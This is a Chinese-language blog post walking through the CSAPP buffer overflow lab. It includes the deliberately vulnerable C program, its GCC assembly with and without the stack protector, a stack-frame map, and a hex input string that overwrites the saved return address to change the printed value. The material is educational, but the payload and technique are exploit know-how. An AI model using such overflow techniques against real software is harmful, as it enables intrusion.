CSAPP:缓冲区溢出攻击实验(Part 2)

Posted on Wed, 16 Mar 2011 18:19:20 -1100

有了反汇编,在结合源码来找思路:

1:

main函数里,作者使用了一个little hack trick

int main()
{

  int buf[16];
  /* This little hack is an attempt to get the stack to be in a
     stable position
  */
  int offset = (((int) buf) & 0xFFF);
  int *space = (int *) alloca(offset);
  *space = 0; /* So that don't get complaint of unused variable */
  test();
  return 0;
}

因为栈是向下生长,且linux有一种对栈的随机保护机制,即最初的ebp在2^23字节范围内浮动

而linux通常一个page的大小为4k;

所以offset & 0xfff 即可得到当前的esp所在的页的 剩余字节数。

-------4k

 

esp

 

-------0

esp的低12位即为当前页的剩余字节数。main的作用之一就是确保在进入test函数时,使用的是一个全新的page.同时也确保了进入test时,ebp为一确定值。

根据汇编流程,对栈帧的分析 可以得到如下的栈结构:

addr            content
bfffefdc        080485a5(eip return to main)
bfffefd8        bffff6e8(save ebp for main)
bfffefd8        test's ebp
.
.
bfffefcc        **ebp-12**,the return value of getbuf
.
.
.
.
bfffefb0        esp(for test)
bfffefac        08048543(eip return to test)
bfffefa8        bfffefd8(save ebp for test)
.
.
.
bfffef94        &buf
.
.
.
bfffef80        buf(arg)        
bfffef7c        08048524        (eip return to getbuf)
bfffef78        ebp             getxs's ebp

于是有思路了,通过向buf写入多于12字节的内容,达到改写栈的效果,而主要改写的内容则为ebp(bfffefa8),eip(bfffefac),esp(bfffefb0).

再仔细研究,反汇编test的部分代码:printf("getbuf returned 0x%x\n", val);

   0x08048539 <+14>:     e8 3a fe ff ff call   0x8048378 <printf@plt>
   0x0804853e <+19>:     e8 d0 ff ff ff call   0x8048513 <getbuf>
   0x08048543 <+24>:     89 45 f4       mov    %eax,-0xc(%ebp)
=> 0x08048546 <+27>:     b8 91 86 04 08 mov    $0x8048691,%eax
   0x0804854b <+32>:     8b 55 f4       mov    -0xc(%ebp),%edx
   0x0804854e <+35>:     89 54 24 04    mov    %edx,0x4(%esp)
   0x08048552 <+39>:     89 04 24       mov    %eax,(%esp)

从箭头的上面一行开始看,getbuf的返回值在eax中。之后eax存入-0xc(%ebp),字符串地址存入edx,然后printf的参数一次进栈(由右至左),特别注意getbuf返回值的动向:eax存入-0xc(%ebp),-0xc(%ebp)作为参数存入0x4(%esp).从这里发现:只要让eax对-0x(%ebp)的赋值失效,然后在-0x(%ebp)处写入自己希望的值,即可让该值如栈,达到"改写" val的效果.那怎么让eax对-0x(%ebp)的赋值失效?可以通过getbuf返回时,要恢复的eip处下手,如果让eip运行的指令地址为0x08048546即可(原为0x08048543)。两eip差为三。则可以将bffefac处的内容改写为0x08048546.之后为了顺利返回,保持原本的栈结构。bffefa8(ebp)及bfffefb0(esp)可保持原样写入。最后一步,由于-0xc(%ebp)的赋值为“未初始化”,最后向该地址写入 “希望的内容”后,该内容即可作为printf的参数了。done.

00000000 00000001 00000002 00000003 00000004 d8efffbf 46850408 00f0ffbf 00000008 00000009 0000000a 0000000b 0000000c 0000000d efbeadde

不要忘记忽略大小端的影响!本输入内容为小端环境!

最后根据这个思路,在生成执行文件是若不使用-fno-stack-protector,也应该可以实现该效果,就不多说了。欢迎讨论,提供新思路:D

CSAPP:缓冲区溢出攻击实验(Part 1)

Posted on Wed, 16 Mar 2011 16:44:55 -1100

这是源码:

/* Bomb program that is solved using a buffer overflow attack */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

/* Like gets, except that characters are typed as pairs of hex digits.
   Nondigit characters are ignored.  Stops when encounters newline */
char *getxs(char *dest)
{
  int c;
  int even = 1; /* Have read even number of digits */
  int otherd = 0; /* Other hex digit of pair */
  char *sp = dest;
  while ((c = getchar()) != EOF && c != '\n') {
    if (isxdigit(c)) {
      int val;
      if ('0' <= c && c <= '9')
        val = c - '0';
      else if ('A' <= c && c <= 'F')
        val = c - 'A' + 10;
      else
        val = c - 'a' + 10;
      if (even) {
        otherd = val;
        even = 0;
      } else {
        *sp++ = otherd * 16 + val;
        even = 1;
      }
    }
  }
  *sp++ = '\0';
  return dest;
}

/* $begin getbuf-c */
int getbuf()
{
    char buf[12];
    getxs(buf);
    return 1;
}

void test()
{
  int val;
  printf("Type Hex string:");
  val = getbuf();
  printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */

int main()
{

  int buf[16];
  /* This little hack is an attempt to get the stack to be in a
     stable position
  */
  int offset = (((int) buf) & 0xFFF);
  int *space = (int *) alloca(offset);
  *space = 0; /* So that don't get complaint of unused variable */
  test();
  return 0;
}

想办法让test的printf语句不返回1,其实 可以指定返回内容:D

恩,首先 既然是用缓冲区溢出的漏洞,那要先了解stack frame的结构,反汇编必不可少了

gcc -o dis_buff.s -S buff.c

	.file	"buff.c"
	.text
.globl getxs
	.type	getxs, @function
getxs:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$40, %esp
	movl	$1, -16(%ebp)
	movl	$0, -20(%ebp)
	movl	8(%ebp), %eax
	movl	%eax, -24(%ebp)
	jmp	.L2
.L8:
	call	__ctype_b_loc
	movl	(%eax), %eax
	movl	-12(%ebp), %edx
	addl	%edx, %edx
	addl	%edx, %eax
	movzwl	(%eax), %eax
	movzwl	%ax, %eax
	andl	$4096, %eax
	testl	%eax, %eax
	je	.L2
	cmpl	$47, -12(%ebp)
	jle	.L3
	cmpl	$57, -12(%ebp)
	jg	.L3
	movl	-12(%ebp), %eax
	subl	$48, %eax
	movl	%eax, -28(%ebp)
	jmp	.L4
.L3:
	cmpl	$64, -12(%ebp)
	jle	.L5
	cmpl	$70, -12(%ebp)
	jg	.L5
	movl	-12(%ebp), %eax
	subl	$55, %eax
	movl	%eax, -28(%ebp)
	jmp	.L4
.L5:
	movl	-12(%ebp), %eax
	subl	$87, %eax
	movl	%eax, -28(%ebp)
.L4:
	cmpl	$0, -16(%ebp)
	je	.L6
	movl	-28(%ebp), %eax
	movl	%eax, -20(%ebp)
	movl	$0, -16(%ebp)
	jmp	.L2
.L6:
	movl	-20(%ebp), %eax
	movl	%eax, %edx
	sall	$4, %edx
	movl	-28(%ebp), %eax
	leal	(%edx,%eax), %eax
	movl	%eax, %edx
	movl	-24(%ebp), %eax
	movb	%dl, (%eax)
	addl	$1, -24(%ebp)
	movl	$1, -16(%ebp)
.L2:
	call	getchar
	movl	%eax, -12(%ebp)
	cmpl	$-1, -12(%ebp)
	je	.L7
	cmpl	$10, -12(%ebp)
	jne	.L8
.L7:
	movl	-24(%ebp), %eax
	movb	$0, (%eax)
	addl	$1, -24(%ebp)
	movl	8(%ebp), %eax
	leave
	ret
	.size	getxs, .-getxs
.globl getbuf
	.type	getbuf, @function
getbuf:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$40, %esp
	movl	%gs:20, %eax
	movl	%eax, -12(%ebp)
	xorl	%eax, %eax
	leal	-24(%ebp), %eax
	movl	%eax, (%esp)
	call	getxs
	movl	$1, %eax
	movl	-12(%ebp), %edx
	xorl	%gs:20, %edx
	je	.L12
	call	__stack_chk_fail
.L12:
	leave
	ret
	.size	getbuf, .-getbuf
	.section	.rodata
.LC0:
	.string	"Type Hex string:"
.LC1:
	.string	"getbuf returned 0x%x\n"
	.text
.globl test
	.type	test, @function
test:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$40, %esp
	movl	$.LC0, %eax
	movl	%eax, (%esp)
	call	printf
	call	getbuf
	movl	%eax, -12(%ebp)
	movl	$.LC1, %eax
	movl	-12(%ebp), %edx
	movl	%edx, 4(%esp)
	movl	%eax, (%esp)
	call	printf
	leave
	ret
	.size	test, .-test
.globl main
	.type	main, @function
main:
	leal	4(%esp), %ecx
	andl	$-16, %esp
	pushl	-4(%ecx)
	pushl	%ebp
	movl	%esp, %ebp
	pushl	%ecx
	subl	$84, %esp
	movl	%gs:20, %eax
	movl	%eax, -12(%ebp)
	xorl	%eax, %eax
	leal	-84(%ebp), %eax
	andl	$4095, %eax
	movl	%eax, -16(%ebp)
	movl	-16(%ebp), %eax
	addl	$15, %eax
	addl	$15, %eax
	shrl	$4, %eax
	sall	$4, %eax
	subl	%eax, %esp
	movl	%esp, %eax
	addl	$15, %eax
	shrl	$4, %eax
	sall	$4, %eax
	movl	%eax, -20(%ebp)
	movl	-20(%ebp), %eax
	movl	$0, (%eax)
	call	test
	movl	$0, %eax
	movl	-12(%ebp), %edx
	xorl	%gs:20, %edx
	je	.L17
	call	__stack_chk_fail
.L17:
	movl	-4(%ebp), %ecx
	leave
	leal	-4(%ecx), %esp
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5"
	.section	.note.GNU-stack,"",@progbits

有了反汇编之后,发现诡异的几行:85,93,135,157出现了个诡异的%gs:20以及个诡异的函数__stack_chk_fail.

查阅资料后,了解到__stack_chk_fail是GCC较新版本的一个栈保护的函数,大概的原理是通过调用在调用对栈可能构成危险的函数前存入一个特殊的值%gs:20并放如当前栈中,在函数调用结束后,用__stack_chk_fail函数对该特殊值进行检查该特殊值是否被改变,若改变,则栈被破坏。所以,目前__stack_chk_fail也是个阻碍,为了方便,暂时先不需要理会这个gcc的栈保护机制。

所以,目前重点研究的汇编代码如下:

 gcc -fno-stack-protector -o dis_buff_nochk.s -S buff.c

	.file	"buff.c"
	.text
.globl getxs
	.type	getxs, @function
getxs:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$40, %esp
	movl	$1, -24(%ebp)
	movl	$0, -20(%ebp)
	movl	8(%ebp), %eax
	movl	%eax, -16(%ebp)
	jmp	.L2
.L8:
	call	__ctype_b_loc
	movl	(%eax), %eax
	movl	-28(%ebp), %edx
	addl	%edx, %edx
	addl	%edx, %eax
	movzwl	(%eax), %eax
	movzwl	%ax, %eax
	andl	$4096, %eax
	testl	%eax, %eax
	je	.L2
	cmpl	$47, -28(%ebp)
	jle	.L3
	cmpl	$57, -28(%ebp)
	jg	.L3
	movl	-28(%ebp), %eax
	subl	$48, %eax
	movl	%eax, -12(%ebp)
	jmp	.L4
.L3:
	cmpl	$64, -28(%ebp)
	jle	.L5
	cmpl	$70, -28(%ebp)
	jg	.L5
	movl	-28(%ebp), %eax
	subl	$55, %eax
	movl	%eax, -12(%ebp)
	jmp	.L4
.L5:
	movl	-28(%ebp), %eax
	subl	$87, %eax
	movl	%eax, -12(%ebp)
.L4:
	cmpl	$0, -24(%ebp)
	je	.L6
	movl	-12(%ebp), %eax
	movl	%eax, -20(%ebp)
	movl	$0, -24(%ebp)
	jmp	.L2
.L6:
	movl	-20(%ebp), %eax
	movl	%eax, %edx
	sall	$4, %edx
	movl	-12(%ebp), %eax
	leal	(%edx,%eax), %eax
	movl	%eax, %edx
	movl	-16(%ebp), %eax
	movb	%dl, (%eax)
	addl	$1, -16(%ebp)
	movl	$1, -24(%ebp)
.L2:
	call	getchar
	movl	%eax, -28(%ebp)
	cmpl	$-1, -28(%ebp)
	je	.L7
	cmpl	$10, -28(%ebp)
	jne	.L8
.L7:
	movl	-16(%ebp), %eax
	movb	$0, (%eax)
	addl	$1, -16(%ebp)
	movl	8(%ebp), %eax
	leave
	ret
	.size	getxs, .-getxs
.globl getbuf
	.type	getbuf, @function
getbuf:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$40, %esp
	leal	-20(%ebp), %eax
	movl	%eax, (%esp)
	call	getxs
	movl	$1, %eax
	leave
	ret
	.size	getbuf, .-getbuf
	.section	.rodata
.LC0:
	.string	"Type Hex string:"
.LC1:
	.string	"getbuf returned 0x%x\n"
	.text
.globl test
	.type	test, @function
test:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$40, %esp
	movl	$.LC0, %eax
	movl	%eax, (%esp)
	call	printf
	call	getbuf
	movl	%eax, -12(%ebp)
	movl	$.LC1, %eax
	movl	-12(%ebp), %edx
	movl	%edx, 4(%esp)
	movl	%eax, (%esp)
	call	printf
	leave
	ret
	.size	test, .-test
.globl main
	.type	main, @function
main:
	leal	4(%esp), %ecx
	andl	$-16, %esp
	pushl	-4(%ecx)
	pushl	%ebp
	movl	%esp, %ebp
	pushl	%ecx
	subl	$84, %esp
	leal	-80(%ebp), %eax
	andl	$4095, %eax
	movl	%eax, -16(%ebp)
	movl	-16(%ebp), %eax
	addl	$15, %eax
	addl	$15, %eax
	shrl	$4, %eax
	sall	$4, %eax
	subl	%eax, %esp
	movl	%esp, %eax
	addl	$15, %eax
	shrl	$4, %eax
	sall	$4, %eax
	movl	%eax, -12(%ebp)
	movl	-12(%ebp), %eax
	movl	$0, (%eax)
	call	test
	movl	$0, %eax
	movl	-4(%ebp), %ecx
	leave
	leal	-4(%ecx), %esp
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5"
	.section	.note.GNU-stack,"",@progbits